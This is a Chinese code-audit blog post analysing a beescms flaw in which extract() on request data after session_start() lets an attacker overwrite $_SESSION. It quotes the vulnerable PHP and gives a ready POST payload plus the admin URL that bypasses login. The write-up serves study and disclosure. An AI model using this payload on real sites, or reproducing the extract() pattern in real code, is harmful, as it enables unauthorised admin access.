【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析

  • A+
所属分类:逆向工程

一、漏洞描述:

init.php中存在变量覆盖漏洞,而后台判断登陆的代码仅仅用$_SESSION一些键值进行了判断,导致覆盖$_SESSION的关键值后,可以绕过登陆的判断,从而登陆后台。



二、漏洞分析过程:

定位到漏洞代码:/includes/init.php

首先对参数进行全局过滤,最后用extract进行变量的初始化,这里没有值对flags进行限制,所以可以导致任意变量覆盖

【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析


并且覆盖之前已经session_start()了,所以不会重新初始化,也就是说$_SESSION可以被任意覆盖

【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析


漏洞部分代码:

if (!get_magic_quotes_gpc()){    if (isset($_REQUEST))    {        $_REQUEST  = addsl($_REQUEST);    }    $_COOKIE   = addsl($_COOKIE);  $_POST = addsl($_POST);  $_GET = addsl($_GET);}if (isset($_REQUEST)){$_REQUEST  = fl_value($_REQUEST);}    $_COOKIE   = fl_value($_COOKIE);  $_GET = fl_value($_GET);@extract($_POST);@extract($_GET);@extract($_COOKIE);


index.php包含了init.php

【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析


然后/admin/admin.php,会包含/admin/init.php,这里会用is_login()函数进行登陆检查

【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析


跟进is_login()函数:/includes/fun.php

可以看到这里判断是否登陆,只是判断了$_SESSION['login_in']==1并且$_SESSION['admin']有值就行,然后$_SESSION['time']要大于3600,就判断为已登陆

【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析


所以我们可以通过变量覆盖漏洞对$_SESSION进行操作,让其满足登陆判断的条件,然后即可实现后台登陆的绕过。




三、漏洞利用:

1、访问首页,覆盖变量

http://www.beescms.test/index.php

POST数据:

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999


【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析


2、直接访问后台页面,成功无需登录访问:

http://www.beescms.test/admin/admin.php

【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析


本文始发于微信公众号(哈拉少安全小队):【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: